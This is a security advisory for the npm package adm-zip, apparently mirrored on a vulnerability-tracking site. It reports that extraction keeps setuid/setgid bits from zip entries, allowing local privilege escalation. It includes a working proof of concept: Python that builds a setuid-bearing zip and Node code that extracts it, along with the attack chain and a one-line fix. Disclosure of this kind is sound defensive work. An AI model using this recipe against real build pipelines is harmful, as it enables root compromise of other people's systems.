GHSA-J5F4-CC29-5X44
Vulnerability from github – Published: 2026-09-29 18:24 – Updated: 2026-09-29 18:24
VLAI
Summary
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
Details
Summary
adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.
Details
The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.
When the flag is on, that value goes straight to the write:
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.
PoC
Tested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.
- Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it):
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
- Extract with the flag enabled:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)
- Control — same zip, default extraction (
keepOriginalPermission=false): mode comes out0666, no setuid. The flag is the enabler.
Alternative supply path, if the zip is built in-process with adm-zip's own API:
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
Impact
Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.
Realistic chain:
- Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
- A pipeline or service extracts it as root with
keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. - The root-owned setuid file leaves the build, typically preserved by
cp -a/rsync mode-bit propagation, into the runtime environment. - An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.
Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root.
Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file.
Severity: Medium
Suggested fix, one line in the getter:
get fileAttr() {
return (_attr >> 16) & 0o777;
}
Severity
7.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.0"
},
"package": {
"ecosystem": "npm",
"name": "adm-zip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102282"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T18:24:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` \u2014 and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps \u2014 the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker\u0027s code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n return (_attr || 0) \u003e\u003e 16 \u0026 0xfff;\n}\n```\n\n`0xfff` is `0o7777` \u2014 it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `\u0026 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n realistic attacker path \u2014 no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo(\u0027pysuidbin\u0027)\nzi.external_attr = 0o4755 \u003c\u003c 16\nwith zipfile.ZipFile(\u0027evil.zip\u0027, \u0027w\u0027) as z:\n z.writestr(zi, \u0027#!/bin/sh\\nid\\n\u0027)\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require(\u0027adm-zip\u0027);\nnew AdmZip(\u0027evil.zip\u0027).extractAllTo(\u0027/tmp/out\u0027, true, true);\n\nconst fs = require(\u0027fs\u0027);\nconst st = fs.statSync(\u0027/tmp/out/pysuidbin\u0027);\nconsole.log((st.mode \u0026 0o7777).toString(8));\n// =\u003e 4755 (setuid bit set \u2014 the file is root-owned if the extractor runs as root)\n```\n\n3. Control \u2014 same zip, default extraction (`keepOriginalPermission=false`):\n mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip\u0027s own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile(\u0027suidbin\u0027, Buffer.from(\u0027#!/bin/sh\\nid\\n\u0027), \u0027\u0027, 0o4755);\nzip.writeZip(\u0027evil.zip\u0027);\nnew AdmZip(\u0027evil.zip\u0027).extractAllTo(\u0027/tmp/out\u0027, true, true);\n// same result: stat mode \u0026 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script \u2014 no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) \u2014 the attacker\u0027s code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n return (_attr \u003e\u003e 16) \u0026 0o777;\n}\n```",
"id": "GHSA-j5f4-cc29-5x44",
"modified": "2026-09-29T18:24:57Z",
"published": "2026-09-29T18:24:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87"
},
{
"type": "PACKAGE",
"url": "https://github.com/cthackers/adm-zip"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -\u003e local privilege escalation"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…